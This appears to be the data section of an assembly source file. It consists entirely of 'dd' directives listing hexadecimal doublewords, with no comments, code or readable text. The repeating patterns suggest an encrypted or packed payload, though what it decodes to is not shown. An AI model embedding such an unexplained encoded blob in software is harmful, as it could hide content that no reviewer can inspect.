		dd 0AD45ED43h, 621D0D51h, 0BC2EB045h, 8E3341BDh, 0BF5D236Ah
		dd 2C6EE985h, 5E8503F9h, 3ABB95D1h, 221EB2B3h, 0EB3A57Dh
		dd 7EFED543h, 0ACEEA809h, 62010D79h, 0BC0EB069h, 0AE26ED5Dh
		dd 92322D3Ch, 0BF59236Bh, 2C66E981h, 5E8103F9h,	36BB89D1h
		dd 1A1EB6B3h, 0AB3D97Dh, 76FECD43h, 0ACF2A871h,	62050D7Dh
		dd 0BC1AB051h, 0A62EED45h, 96322D3Ch, 0BF51236Ch, 2C66E99Dh
		dd 5F7903F1h, 0CABB65E1h, 3A1E8EB3h, 26B3B97Dh,	12FEA143h
		dd 0ACDEA819h, 62F50D0Dh, 0BC02B07Dh, 4212ED6Dh, 0AE33013Ch
		dd 9EFD3541h, 0AB0A593Dh, 5F5D0395h, 0E6BB7985h, 0D61E62B3h
		dd 0C6B39D7Dh, 36FE8D43h, 22FEB731h, 0ACCAA825h, 62DD0D15h
		dd 0BCEAB005h, 5AFAED75h, 4AFA253Ah, 0BA230934h, 23393D61h
		dd 524931A1h, 861E52A3h, 0F2B34D7Dh, 0DEFE7543h, 0AC92A8E9h
		dd 62AD0DC1h, 0BCBEB039h, 7ADAED2Dh, 6A30F93Ch,	56FAED41h
		dd 42231D34h, 232D0161h, 0BC4130B5h, 8A411FADh,	0F6B34D7Dh
		dd 0E6FE7D43h, 0AC86A8E1h, 62A10DD5h, 0BCB2B0C9h, 0EC6ED3Dh
		dd 7630C93Ch, 5EFAF141h, 4E231934h, 23250961h, 483930B1h
		dd 504D3BB4h, 823A03F4h, 246A4161h, 0BF7D33F5h,	2B8AE9E5h
		dd 5E9D03D5h, 5EB4B9C5h, 12BBAD39h, 21ED6B3h, 6EB3C17Dh
		dd 5EFEF543h, 0AC12A86Dh, 62250D5Dh, 0BC2EB04Dh, 963EE2B9h
		dd 24511D65h, 0BF653399h, 2C72E98Dh, 5E8503FDh,	0C2BB95EDh
		dd 2E1EBAB3h, 1EB3B57Dh, 6FED943h, 0ACEEA805h, 62010D79h
		dd 0BC16B06Dh, 0A22EED49h, 8EFCAD3Ah, 0A47A7052h, 0BD66B081h
		dd 0DB7AEDF1h, 0CA30993Ch, 36FA8D41h, 1E20B134h, 23D2D961h
		dd 0BEE5331Dh, 2BF2E90Dh, 5E05037Dh, 42BA116Dh,	0AE2106B3h
		dd 9EB2357Dh, 8310254Ah, 5F5D2843h, 0EABB7985h,	0DA1E6EB3h
		dd 0CAB3997Dh, 32FE8D43h, 0ACC2A839h, 62D50D2Dh, 0BCE2B01Dh
		dd 62F2ED0Dh, 4E30E13Ch, 0BEFD1541h, 0AA233934h, 0BD832960h
		dd 0FBD110ADh, 0BCE56D3Ah, 0D97D3EACh, 0C63BB060h, 36FE8D43h
		dd 0ACBAA831h, 62D50D29h, 0BCE2B01Dh, 5EF2ED0Dh, 4A33193Ch
		dd 0B6FD0941h, 0A6233D34h, 5B4D2D61h, 82BB5155h, 0F21E46B3h
		dd 0D6B3757Dh, 3EFE9D43h, 0ACB2A8C9h, 62C90D3Dh, 0BCD6B011h
		dd 66EAED05h, 5630ED3Ch, 42FD1D41h, 0AA230534h,	0BC832960h
		dd 86411691h, 0F6B34D7Dh, 0E2FE7143h, 0AC8AA8E5h, 629D0DD5h
		dd 0BCAAB0C5h, 16BEED35h, 630DD3Ch, 72FACD41h, 5E20F534h
		dd 23151961h, 0BE25335Dh, 223AEEB1h, 8A3217A9h,	0F6FE4D43h
		dd 0AD7AA8F1h, 62890DE5h, 0BC92B0EDh, 2EA6EDDDh, 1A30B53Ch
		dd 2FAD941h, 6E20C134h,	23FEF561h, 0BE153369h, 2B26E95Dh
		dd 0BA3D00B1h, 8E0114A9h, 0AD62A89Dh, 63750D8Dh, 0BC8AB0E1h
		dd 3A9AEDD5h, 2630BD3Ch, 12FAA141h, 7A20D534h, 23F2F961h
		dd 0BE05337Dh, 2B16E951h, 5E2D0341h, 1EB82EB5h,	0A2165961h
		dd 0BD5EB099h, 0E76EED89h, 0D6306D3Ch, 0C6FA9D41h, 36208D34h
		dd 23B6BD61h, 0BEC53321h, 2BD6E92Dh, 5EF10305h,	4EBBE179h
		dd 0BAB3594Eh, 0A2FE3D43h, 464D03E3h, 0FEFA56A1h, 0EA204534h
		dd 23826961h, 0BE9533EDh, 2BA2E9DDh, 5EB503CDh,	0ABBD921h
		dd 7E1ECAB3h, 6EB3C57Dh, 5AFEE943h, 0AC1AA851h,	622D0D45h
		dd 0AA3EB1B9h, 8E230BA9h, 24625561h, 0BF79338Dh, 2B8AE9E5h
		dd 5EA103D9h, 22BBBDC9h, 0E1EDAB3h, 2B3D57Dh, 72FEC143h
		dd 0ACFAA875h, 620D0D65h, 0BC1AB055h, 0AA2AED45h, 0A22C293Ch
		dd 0AB1B593Dh, 5F5D0395h, 0DEBB718Dh, 0CA1E9EB3h, 32B38D7Dh
		dd 1EFEB143h, 0ACCEA829h, 62E10D19h, 0BCF2B009h, 4E06ED7Dh
		dd 0BA33153Ch, 0AAFD3941h, 22D52934h, 0F46609ADh, 0FA3B6943h
		dd 0EA207934h, 23866961h, 0BE9533EDh, 2BA2E9DDh, 5EB90331h
		dd 0ABBD921h, 7A1ECEB3h, 6AB3F97Dh, 56FEE943h, 0AC16A851h
		dd 622D0D45h, 0A3AB1B5h, 0F31D593Dh, 0AD612894h, 636D0D85h
		dd 0BD7AB0F5h, 0CA8AEDE5h, 32308D3Ch, 22FAB141h, 0E20A534h
		dd 23DED561h, 0BEF9330Dh, 2B06E961h, 5E1D0355h,	0AABA3945h
		dd 0AB172EB3h, 831C594Ah, 5F5D2843h, 0EABB7D89h, 0D21E62B3h
		dd 3AB3957Dh, 22FEBD43h, 0ACCAA825h, 62DD0D15h,	0BCF2B005h
		dd 4E06ED7Dh, 0BE33153Ch, 0AAFD0541h, 96282D34h, 789E7040h
		dd 0EA3B6943h, 0D6206934h, 239A9161h, 0BEB133C9h, 2BC2E939h
		dd 5ED90311h, 72BBC101h, 5E1EEAB3h, 4AB2197Dh, 0B2010D43h
		dd 0AB3EA9B5h, 0EB8B0DA9h, 0A3164360h, 0AD76A8F1h, 62890DE1h
		dd 0BC9AB0D1h, 22AEEDC9h, 0E30A13Ch, 7EFAD541h,	6A20C534h
		dd 2306E961h, 49193351h, 5E290394h, 96BD2EB1h, 0BD6B4442h
		dd 2C6528FDh, 5F7903F1h, 0CABB99E1h, 321E82B3h,	22B3B17Dh
		dd 0EFEA543h, 0ACE2A81Dh, 62F90D0Dh, 0BC06B061h, 0BE16ED51h
		dd 0AE33053Ch, 0BCE92941h, 5E205D45h, 0F6BB4D99h, 0E61E72B3h
		dd 0D6B36D7Dh, 0C6FE9D43h, 0ACA2A8C1h, 62B50DC9h, 0BCCAB021h
		dd 76DEED19h, 6630FD3Ch, 5AFAE941h, 4A231934h, 23290961h
		dd 483D30B5h, 0BC4D36B4h, 82FE5143h, 0AD6AA885h, 62850DF9h
		dd 0BC92B0EDh, 2AAAEDDDh, 1630AD3Ch, 2FADD41h, 6A20C534h
		dd 230AED61h, 0BE213359h, 0D236E94Dh, 0BA025961h, 0AD5EA899h
		dd 63750D89h, 0BC82B0FDh, 3A9AEDD1h, 2A30B93Ch,	1AFAA941h
		dd 0A20D934h, 23E6C961h, 0BEFD3371h, 2B0EE969h,	5E210359h
		dd 0A6BA3D49h, 962022B3h, 265BDD46h, 5F652843h,	0E2BB718Dh
		dd 0D21E66B3h, 0C2B3917Dh
		dd 32FE8143h, 0ACBAA835h, 62D10D29h, 0BCEAB01Dh, 5AFAED75h
		dd 4A33193Ch, 0BAFD0941h, 0A6233934h, 5B492D61h, 86BB5D47h
		dd 0EE1E42B3h, 0D6B3697Dh, 0C6FE9D43h, 0ACA6A8C1h, 62B90D31h
		dd 0BCCAB025h, 7ADAED15h, 6630F93Ch, 56FAED41h,	46231D34h
		dd 23250961h, 0BE313349h, 0B846ECBDh, 8A3B699Ch, 0F6204D34h
		dd 24767D61h, 0BE8933E1h, 2B9EE9D9h, 5EB103C9h,	16BBAD39h
		dd 7E1ED2B3h, 6EB3C57Dh, 5AFEE943h, 0AC16A86Dh,	622D0D45h
		dd 92FE9EB9h, 245D0565h, 0BF6D3385h, 2C7EE9F9h,	5E9503EDh
		dd 32BB81DDh, 221EB6B3h, 16B3A17Dh, 2FEDD43h, 0ACEAA805h
		dd 62FD0D75h, 0BC0EB069h, 0B21EED59h, 0A233313Ch, 9E292543h
		dd 2C5EE995h, 5F710389h, 0D6BB6DF9h, 0C61E92B3h, 32B38D7Dh
		dd 1AFEB543h, 0ACD2A82Dh, 62E50D1Dh, 0BCF2B00Dh, 5202ED7Dh
		dd 0BE33153Ch, 0AEFD0541h, 96352934h, 5F51034Bh, 0F6BB4D99h
		dd 0E21E76B3h, 0CEB3617Dh, 3EFE9543h, 0ACAEA8C9h, 62CD0D21h
		dd 0BCDEB015h, 66EEED09h, 4E30E53Ch, 0BAFD0941h, 0A6233934h
		dd 0B4553084h, 0F23B68D3h, 0DEFA7141h, 0C6209934h, 23A68D61h
		dd 0BEB93331h, 2BC6E921h, 5EE10315h, 6ABBF909h,	521EE2B3h
		dd 42B2117Dh, 0B2010D43h, 0AD3AA9B5h, 8E3A55A9h, 0FE205534h
		dd 24727961h, 0BE8533FDh, 2B96E9EDh, 5EB103C1h,	12BBA139h
		dd 21ED6B3h, 72B3C17Dh,	5EFEF143h, 0AC12A86Dh, 79250D5Dh
		dd 0A232ED83h, 92FEAD3Ah, 2C55294Eh, 5F690381h,	0DABB69F1h
		dd 0CA1E9EB3h, 36B3897Dh, 22FEB143h, 0ACCAA825h, 62DD0D15h
		dd 0BCEAB005h, 52FEED79h, 4233113Ch, 0AAFD3941h, 22D52934h
		dd 0FC663FADh, 0A32C5043h, 247A7161h, 0BE9133E9h, 2BAAE9DDh
		dd 5EC50339h, 7EBBD12Dh, 661EFEB3h, 4EB3E17Dh, 0BA010943h
		dd 0AC32A84Dh, 0B04900BDh, 86FA52A1h, 0F6204D34h, 24767D61h
		dd 0BE8D33E5h, 2B9EE9D5h, 5EB103C9h, 16BBAD39h,	61ED2B3h
		dd 6EB3C17Dh, 5AFEE943h, 0AC12A86Dh, 62250D5Dh,	0BC32B1B1h
		dd 8A3341BDh, 0BF5D20B1h, 2C6AE985h, 5F7D03F5h,	0CABB99E5h
		dd 3A1E8EB3h, 2AB3B97Dh, 1AFEB543h, 0ACCEA829h,	62E50D19h
		dd 0BCF2B00Dh, 5202ED7Dh, 0BE33113Ch, 0ECBFB44h, 5882D1Ah
		dd 0E92AFA1Ch, 4CCCDD2Ch, 3647DDB4h, 7D350E89h,	50CA7E02h
		dd 7E29D59Bh, 5923CA04h, 0AAF3C369h, 2008CE84h,	0A7670008h
		dd 5F4BDE0Eh, 504939CBh, 7D3AF167h, 9D9ED792h, 0B2CFC80Ch
		dd 53FF387h, 7346F258h,	0A457398Ah, 0A7A1CF14h,	0C3386681h
		dd 0EE96292Fh, 0A2D73D44h, 7B3EDD19h, 0EE331F8h, 902367FEh
		dd 76B19E11h, 35683126h, 8321B3Fh, 0AAA8EFF4h, 0A21D3D18h
		dd 0A1A49ECEh, 13F2D50Fh, 0C35123Ah, 7E11DC9Dh,	0CBDE690Eh
		dd 0EAFEF158h, 6B4ACD9Ah, 7F812EB5h, 8CEA1F17h,	5EBD8A7Dh
		dd 0EBD93133h, 338E1EBh, 473ADD1Eh, 4AC66CE2h, 0C4883086h
		dd 71F37519h, 0D0A53489h, 371F30B4h, 0D7EC7434h, 35A5DE4Ch
		dd 5313F6A3h, 0B4218B17h, 213D33B9h, 0BCF2CBBDh, 2E3AD474h
		dd 42E6D3ADh, 0F69921Eh, 0DBF5FB4h, 0EC35010Ah,	5B0C3A13h
		dd 0B4BAF912h, 0F11A240Fh, 71FE65BDh, 8364C92Ch, 0B5F4CA8Bh
		dd 0A2C4E0B9h, 1901CC6Dh, 0ABCC34E6h, 139F140Eh, 154B4BB5h
		dd 729E2EBEh, 22D67AD4h, 0C4DDD56Eh, 0F6627DF6h, 4EEAB48Fh
		dd 0F4D0CFB5h, 0E93E3075h, 0E632F11Dh, 5AD7C873h, 0B16447D1h
		dd 572ED8B0h, 0B8B3251Ch, 7CB335C4h, 7ED06DA0h,	0B4D7357Ch
		dd 692D3200h, 0F4954C33h, 197535D8h, 751A98Ch, 70023965h
		dd 0BB64F7DFh, 0EEF5C55Fh, 155FB049h, 1326CF00h, 1FAF014Bh
		dd 0F3E7C2F5h, 0BC6FC9DBh, 0CCE30BC5h, 2103353Bh, 0AACC8D5Fh
		dd 0ADE66330h, 85CAE045h, 0AA891578h, 0B3DA098Fh, 21EF0D4Ch
		dd 3E1D4B4h, 2FF5E99Bh,	0BE0ACB48h, 0DA2201F8h,	14EE39A5h
		dd 0D6D6B010h, 0F3DED3B1h, 0ABE3E787h, 0F803141Eh, 0CCE2873Dh
		dd 0B2B3C345h, 55008D15h, 0F9D30676h, 47E9C318h, 0A8F90151h
		dd 17C8F471h, 37C6D340h, 7B1CB216h, 2ACF56B2h, 0A346711Ch
		dd 25D96865h, 9823072h,	7BF27DB5h, 7FDDC2B5h, 0CF0DE7B8h
		dd 0DF10D23Fh, 41CCD67Fh, 0DED7A2B9h, 0A6803190h, 0ACE191CBh
		dd 0C063F2Dh, 2AE2FC10h, 0AB68D87Dh, 0AB6EB17Fh, 2ED6B615h
		dd 70DFA9B1h, 0EA3D035Ah, 8DCE295Ch, 1ADD5C60h,	2C50D7F8h
		dd 3100DFBDh, 0E3AAB13h, 0A2D8CA47h, 2B8DC587h,	6CFD124h
		dd 0EB73D992h, 89A601ADh, 3DDE5A64h, 0AA8E42B4h, 313A7E75h
		dd 6ACFB2C1h, 2CDF3515h, 0C2DBFF2Fh, 98D38D7Dh,	10C37217h
		dd 0C28E3191h, 42068A9Ch, 6261881Dh, 44A0B459h,	0D732153Fh
		dd 0AEDEAA40h, 0FEDAF9BDh, 41506BC9h, 2AC90120h, 76698BA0h
		dd 70DE25E9h, 6DD0F41h,	6BAF3AF6h, 30516943h, 725D3508h
		dd 0C2D630FBh, 43F631F8h, 85E231CFh, 0F7334A4Bh, 0B637B7Ah
		dd 0BE3D0217h, 0AB766D04h, 4F1A462Fh, 12DE55E4h, 24BA31DBh
		dd 142EA027h, 0AF4EBE49h, 7336A13h, 0C237613Ah,	0C4DB58B4h
		dd 30AF516h, 0E2CB2886h, 6D32CFCDh, 0E1BA203h, 0D1CE48B4h
		dd 0A620712Ah, 933EF5E6h, 20A52B00h, 0A3D5D7BDh, 0AAF11F52h
		dd 73CF07DCh, 0A70EDAE1h, 8D2D196Fh, 287CCF90h,	0CA3E7EBDh
		dd 670A290Ah, 0BAFF84B4h, 5AEED384h, 0C4DB6CF3h, 1431DC45h
		dd 2A2B442Fh, 3D7F9254h, 45FB7AB9h, 0C43D00B9h,	81251A24h
		dd 1E15D1CFh, 711F5E45h, 0D4F414F1h, 0AAD4F0B2h, 0E1570C70h
		dd 0C336A322h, 0B2F5091Ah, 0C22E0D6h, 7DF2962h,	4EE3305Eh
		dd 2A96CD7Fh, 0AB8DA4ECh, 9F65817h, 406099D8h, 3B85C55Dh
		dd 0BDD63ABDh, 817140h,	81F6302Ch, 4EA2C80Fh, 803B3115h
		dd 0AE1D2901h, 0E584E22h, 0A9EE3D33h, 54DA4A4Eh, 7D352CE2h
		dd 0A60EC907h, 793A5475h, 0AAFEDB21h, 2D0EDB1Ch, 4167CD53h
		dd 0CEA3919h, 9E3AE0C1h, 96293FFEh, 0DED10834h,	8A33878h
		dd 5CD9D8BDh, 5A19C415h, 0C6B1D0BDh, 0DB46316Eh, 0A6309514h
		dd 6D866D18h, 40FB352Fh, 7CA43181h, 7D350FE4h, 0A3DEA0B1h
		dd 0C97AC9Ah, 0C8161DD6h, 568699F8h, 0B503830Dh, 733631D1h
		dd 6DE23119h, 72FFCA51h, 0DF80CC79h, 483AEF2Ch,	46DA013Ch
		dd 63327AEDh, 0ABD83F8Bh, 7CF87C8Dh, 0C42D3C6Fh, 4EE75D56h
		dd 1E391DB1h, 3BF90D04h, 0A2B14F4Dh, 0F9B2868Eh, 69CE7792h
		dd 0C0114DB4h, 0E1CED44h, 2F7529C3h, 4D33CA83h,	5A32CD99h
		dd 0ABF1E1Ah, 0EFC2B572h, 7E1A124Ch, 99C56745h,	0DE043508h
		dd 0BE3D0D64h, 3D1772B5h, 4436E08Ah, 0A348A53Eh, 0BE26726Ah
		dd 132FF817h, 96D81ABDh, 0AE9ECDADh, 5A99C8AFh,	0BC05A6FEh
		dd 2DDCE1FAh, 12350F12h, 8D32D4CBh, 62EB7C79h, 0D61D7235h
		dd 20905ABh, 7B314EBCh,	67F5D5Eh, 0AA84B1F8h, 961E8DA6h
		dd 99328D03h, 40E1E17Dh, 67C7CD10h, 3FBA22B5h, 232AAE1h
		dd 0A5A792Eh, 0A62FE513h, 0FA1E8A2Dh, 0CDD6D810h, 0E02B9F09h
		dd 6A3AFCACh, 74ED297Fh, 19D6B14h, 0BB884B45h, 6C351C21h
		dd 0B3F6DF3Dh, 87B642C6h, 4930151h, 0A39D301Ch,	37E34E51h
		dd 0ECA599E5h, 0AEDF0EB9h, 1631EDC3h, 9F0072Ch,	13F4DA69h
		dd 413A90B5h, 55CD372Eh, 0A62E9AB4h, 0E1B8C64h,	3EC83135h
		dd 0A28C71BDh, 0A2C1307Ah, 6350D359h, 2D2D01BDh, 0FDBACF15h
		dd 6B521121h, 6C17DB37h, 6889EFAAh, 62236594h, 63278C4h
		dd 863ED978h, 5ADF2942h, 2DE12964h, 31E20D71h, 0F2E38A11h
		dd 6088D873h, 68698512h
		dd 143A1EB4h, 0B37B45D9h, 0EBD5BD01h, 0A3AD294Ch, 2AB3D816h
		dd 6BCC31D2h, 0C07B29BCh, 320CCFB9h, 7BC276B5h,	3C36311Bh
		dd 10E0F64Dh, 444E399Ah, 0A73AE019h, 0EEFFFF19h, 0FE63293Bh
		dd 2EB22EBDh, 23F1292Ch, 735CBE16h, 12C91EACh, 42FB97F1h
		dd 0AF6291Ah, 0ABD41C5Eh, 0AB6872ADh, 0BB4F81B7h, 610DC0Ch
		dd 364FE21Fh, 84D034Eh,	0BDE65E3h, 43297C10h, 0A318397Ch
		dd 2EF11417h, 0EE1283B9h, 0AB0AFADAh, 0AB97AAE6h, 3C8C01B4h
		dd 1C82915h, 2394B139h,	2513CB5Dh, 8A3C7704h, 202A785Ah
		dd 7C16F31Ah, 3EB76D6Ah, 50326C5Ah, 5D6931D0h, 3EF2CAD2h
		dd 8DE4BD31h, 1A6DBA5Eh, 63D884B4h, 8B1A9909h, 47F8B8D3h
		dd 4930A44Bh, 0F61A3CB5h, 0F3D39C0h, 50C8D5BDh,	7F2AC338h
		dd 323ADC2Fh, 0CFC11FBDh, 2F3D0619h, 0AEE86615h, 0AB68D5DBh
		dd 0AA8CA00Ch, 2FEABB9h, 0BB55DB47h, 131677BDh,	51B2910h
		dd 24EB934Dh, 60E05C6Dh, 3503294Bh, 0B467367Fh,	9A7CF0E6h
		dd 0A3050F88h, 0D28A3335h, 0D2E23152h, 1ECECC1Ah, 3432C9F5h
		dd 0C371331Dh, 7489311Eh, 12DE12B0h, 0DEFCF2Ch,	3C7A2871h
		dd 7C2C2953h, 0AD2BF91Fh, 0C8DC13h, 0CEB93800h,	34915AD3h
		dd 43B83543h, 6079307Ch, 3B7539BDh, 0AAB999B4h,	0B2B0D6D3h
		dd 5317473Ch, 1466E0B5h, 5B1B31DCh, 9DDEEBB5h, 7BC9F539h
		dd 0A6DA6FD1h, 7ED5A3C5h, 714B0471h, 5BCEF595h,	3396D822h
		dd 0DB1ADF4Dh, 15F62960h, 0CA3931D1h, 0B69ED63Ah, 6F1EA8CFh
		dd 7F1F2945h, 7EAFB51Fh, 6F35EAB1h, 0C0935E6h, 3777E2F2h
		dd 6F4838E7h, 0D2D62912h, 0ADA42C6h, 0BBB39CBh,	5199FBF5h
		dd 0A629521Bh, 9B9DB8Ah, 60B0DDD9h, 0A5D2BB13h,	19499796h
		dd 7575355Bh, 5B32BB81h, 0AAEEDC83h, 44D564B7h,	22FA0913h
		dd 72F6DD5Ch, 59A5261h,	5DFAB2A5h, 287FDF76h, 43CA4341h
		dd 0E833322h, 0AB8D6114h, 0EDB04F8Ah, 91B26C4Ch, 0A2ACEDCh
		dd 0DFDA322Ch, 522030D7h, 0F55C952Dh, 4DE57CB5h, 0A2F75C05h
		dd 263B6D5Eh, 0F1467783h, 41007D44h, 14D1B241h,	0C0F2CDF0h
		dd 7F33C2B9h, 0B36BCD03h, 0DBBEC151h, 0D961ECFCh, 0E715525Ch
		dd 29ED53E8h, 417CDCD8h, 0EB1C3077h, 0C76D0FB8h, 0C37EC73Ah
		dd 0F393FA51h, 0B2D60952h, 3416C335h, 133DDE4Dh, 0B4DC6E19h
		dd 6E5BC8B9h, 25A529Fh,	76BE28F5h, 3AEDC3h, 0AB786DC1h
		dd 0C3F5F110h, 17963A12h, 20E35AB5h, 5D538C39h,	6B70CD82h
		dd 132B0394h, 0C333D91Dh, 0A2A0A441h, 0A83113Ah, 228CE7E1h
		dd 46DE3978h, 1EF630CEh, 3A9F40Eh, 3D392C4Fh, 632CC91h
		dd 0ABDACF83h, 0ABD4BB31h, 3F3A90Dh, 7F5D0CB5h,	0B57BC2B5h
		dd 386531C5h, 0AC644362h, 3ADC46DCh, 0B46CCD9Bh, 6033A76Fh
		dd 9C39F61Dh, 6FB29218h, 0A23B894Ch, 34352E61h,	692870B1h
		dd 0E73D2B4Fh, 0BDA13118h, 2002DA4h, 41393357h,	43711705h
		dd 52030CC6h, 4F682EBDh, 0AF7431C7h, 2EAC93Bh, 31CE01CDh
		dd 4EE219Bh, 7E793B8Ch,	16AE791h, 41F70BE4h, 23D3D19h
		dd 2B172645h, 32B9EE81h, 69CEC02Bh, 7DDA1018h, 1D6B8F10h
		dd 23139B9h, 8ED9297Ch,	0C6DE2961h, 37C3B1F9h, 0CF53E1E1h
		dd 53ABC300h, 0CCF6892h, 7ABB050Eh, 0A63729D6h,	0B21CE7D0h
		dd 0C5DEAD53h, 21F098Ch, 3836BEBDh, 0C6310079h,	0A2F36617h
		dd 0D3DDCAF0h, 51AD391Dh, 0C233748Fh, 12E0677h,	792EDC19h
		dd 3AD08EBBh, 5BD4CA96h, 0A2FED880h, 0A23003F1h, 48DAF60Bh
		dd 38AA72BDh, 0AC0CCBB2h, 6F7672B5h, 597ED25Ah,	777E841h
		dd 55ACCFB5h, 0A6DA5A5Fh, 4ABB6145h, 703F137Fh,	6753A53Dh
		dd 2EADCD5Dh, 0C62A7E41h, 0EC22B1C3h, 0BF51ADA7h, 0AEF827BDh
		dd 7CAC3D2Ch, 0DCB30A0Ah, 0DD486204h, 3B66D016h, 0D0ADBCB9h
		dd 1FB2B9B5h, 2F1AFCAAh, 0AC540F25h, 0ED044FE7h, 0C34CF5Dh
		dd 0A6D5F20Ch, 0C0E41172h, 0C32C035h, 2620C310h, 0D426BE32h
		dd 0C22EC9BDh, 0DAF8FFEFh, 2E043998h, 933D3304h, 6402EFC4h
		dd 0A75B32CEh, 0E692C1Ah, 70DD2943h, 0A6D83CFAh, 41EE0534h
		dd 0B3A8812Ch, 288761Bh, 0EF86DD0Fh, 76B586B1h,	0AAF581AAh
		dd 74691FA8h, 0F671F8EDh, 6B00F54Ch, 2C4330CBh,	0C9E4E958h
		dd 5D7B5D7Dh, 7B3D0837h, 0A2FFD85Fh, 0A298E0FEh, 0EE4CCD48h
		dd 13E009B4h, 1F6E52Dh,	84F6CC33h, 6DC63D07h, 157FF365h
		dd 0A69ED328h, 2F9050E8h, 0EEF63517h, 2E6CA064h, 7855554Dh
		dd 0E3368BC6h, 939EABDh, 0E33D9D9h, 788CC226h, 0A2143D7Dh
		dd 359E3DDAh, 7832FB64h, 17339E22h, 11352E8Ah, 11D5A32Bh
		dd 92BB5F56h, 0D9B30EAh, 41E0FB5Dh, 0C2D5AF39h,	113AF384h
		dd 903A999Bh, 102D10B0h, 0AC6E348Bh, 0E32BBD5h,	305D0F99h
		dd 7D16351Dh, 0B1DBD2B4h, 2DC88AF7h, 10320F23h,	1DBF0129h
		dd 4AF17DBDh, 0DE3B0DF1h, 0C19D1112h, 71D948AAh, 7FD6B0BDh
		dd 0EE7CD6B4h, 0EA390316h, 0A57035F4h, 0CF22CC49h, 0AEC5906Bh
		dd 6B2D12BDh, 6CCD3992h, 0AEF63104h, 733D252h, 495D287Dh
		dd 0C21F7311h, 0A2FD35F9h, 0AAD7CC37h, 447EC78Bh, 1549318Bh
		dd 2A050CDh, 1A3AADC3h,	471DD575h, 6EAD760h, 7FDF4139h
		dd 0A22CCDDCh, 0AA9C6938h, 0AE018D4Dh, 58A40514h, 41E73DF2h
		dd 2281A840h, 0F933AE1Dh, 0ABF41440h, 0AAA85B59h, 5FCE451Ch
		dd 0BF6EBF45h, 3FA629D9h, 0A2FAD2E9h, 7A1E6801h, 5B65218h
		dd 0E3A6CF4Dh, 0EA9CCB5h, 0FE3314Bh, 0B2FD3509h, 0F4CD5D7Ah
		dd 32A94549h, 2CB63977h, 0C3731D3h, 5F1B31DAh, 3CEA6527h
		dd 0F269D25Bh, 282954B4h, 2732F722h, 0E7339AC4h, 163AE003h
		dd 0A332ECE4h, 4D630C45h, 0F032C849h, 7A32D4CDh, 7CE7D8E9h
		dd 842ABACDh, 0ACD69619h, 0A20362D3h, 0BB809FD7h, 3D63AB1h
		dd 256E0955h, 2153922h,	8EAEB517h, 0D3E33119h, 0D9E6652Ch
		dd 24590E7Bh, 67CE7F04h, 7D5202BDh, 31AD9630h, 0AAA2B58Ch
		dd 4E429D36h, 44390CA1h, 0B68E5B31h, 365A3575h,	1AEC4B4h
		dd 4EBB68CDh, 0B20D95E0h, 9A66D2DFh, 0FD530C9h,	0F65243DFh
		dd 5ED14B45h, 8B337D3Dh, 0AADE600Ch, 5BB85518h,	188D3F4Dh
		dd 0F8B82921h, 19DADE0h, 7ECF7C25h, 0F4858999h,	0A20D38B4h
		dd 39FAE9CEh, 0AAF7B0D9h, 3DC4306Dh, 60D96345h,	6F26B0A5h
		dd 0AA1B111Dh, 0AAA8911Dh, 0AAEF5F37h, 0AE3A291Ch, 0ABE8C21Ah
		dd 0ABDBF982h, 3AB4248Dh, 9F97E6E7h, 0A6F2D264h, 2ECF322h
		dd 0ABD7B3B5h, 0AC68CC5Dh, 0FC7664BCh, 0B62B3523h, 0D6193F0Fh
		dd 34E338F9h, 9CC7C5Fh,	1EEC3916h, 21C2FFC4h, 40D93C46h
		dd 7D483844h, 0F5FB0917h, 815BA2D5h, 971629DCh,	0B8F9E2B4h
		dd 3AC20D2Dh, 86285CDh,	5EA5D94Dh, 0E44CEBDh, 0B6EC7039h
		dd 27EB35F5h, 118852CCh, 0AC6CE661h, 0BA0D96F1h, 18E24AFAh
		dd 0B02986E4h, 44ED317Bh, 0F8CBC044h, 49DAA5BCh, 51ED15BDh
		dd 152EBACEh, 0DFD8F34Dh, 6BE939CBh, 0B6B92943h, 5C8BCE79h
		dd 0B178FDBDh, 0A2C0BFBDh, 7C292BDh, 0DF6786B5h, 62CBE841h
		dd 79AF3DF6h, 0B295695Ch, 0AAD753AFh, 10DFBB21h, 0C8BF742Ch
		dd 0ACF4094Ch, 0D0E31AC4h, 52503116h, 2FDDADBCh, 3292B7Ch
		dd 199F8B6Dh, 0C5CDA61Ah, 709A62B9h, 0A6FE8F7Dh, 3DCBFB7Dh
		dd 0F0ED90Dh, 0AC45EC11h, 0C0735F2h, 84203BFBh,	0B4D5355Eh
		dd 2D47EA45h, 4225EBF0h, 2D9D91B9h, 0AA2BEA76h,	0B1FA955Fh
		dd 7F7238CBh, 0CF55A6E9h, 0BAE57EBCh, 0B1752557h, 1CD6E9CFh
		dd 4D5671BDh, 0EDCD0B5h
		dd 0B5D531FCh, 8B32D80Dh, 0AA56ED71h, 0ABD64A63h, 0AA9BD823h
		dd 162AF411h, 72AED18h,	31BED297h, 0ABCCB4CAh, 7659DDEFh
		dd 1E3A8184h, 0ACF28351h, 0A7EDD4Dh, 0E4A98DB3h, 0C65E3C32h
		dd 16B9851Eh, 4E2C77A5h, 0CE2A059h, 5C2B9403h, 0AA1E2AA2h
		dd 7D319C10h, 1ED0315Ah, 7C9E195Fh, 3E3D29A4h, 0C060C2A5h
		dd 70CC3916h, 5C2D4AA5h, 571CF4B9h, 74FABEB5h, 0D616B81Dh
		dd 0CDAA54Dh, 9F1429FDh, 420FD258h, 0AB6BC4DDh,	41F1B1Ch
		dd 0EDF09B5h, 3C5C084Dh, 84E6E541h, 0FDE5AE7Dh,	132ACDD5h
		dd 0A2F1BBF1h, 4332F56Fh, 4732CA2Eh, 0BBB5353Dh, 41756555h
		dd 0EF7308Ah, 0F9312F75h, 0B4DE9B40h, 293D2EB9h, 0AED9CE46h
		dd 445AE35Eh, 6D417EBDh, 39C6C52Fh, 777FACB2h, 4ADFFD3Dh
		dd 24CD010Eh, 0D2F5F27h, 8F0CFB2Dh, 0D6999EB4h,	6ADB3DB5h
		dd 4AF15535h, 10F5FC0Ch, 0FAA0381Ch, 3515C7C1h,	0FF7A6D24h
		dd 86A35A1Dh, 4EAE83B9h, 0A2350F39h, 9CFEFB4h, 0AADA9D7Fh
		dd 90D13F24h, 5057A500h, 0A298273Ch, 1C3A8300h,	5976DA34h
		dd 0D4C67370h, 3C36CBC8h, 0D9568A8h, 0C3AE3970h, 0A62BC780h
		dd 0B2E2CF5Bh, 55355423h, 0F600D7BAh, 2EDC36BBh, 0C073292Ch
		dd 0A6A8633Eh, 5EF2EB3h, 0B6DCCAB3h, 0AC734Dh, 0C7A43843h
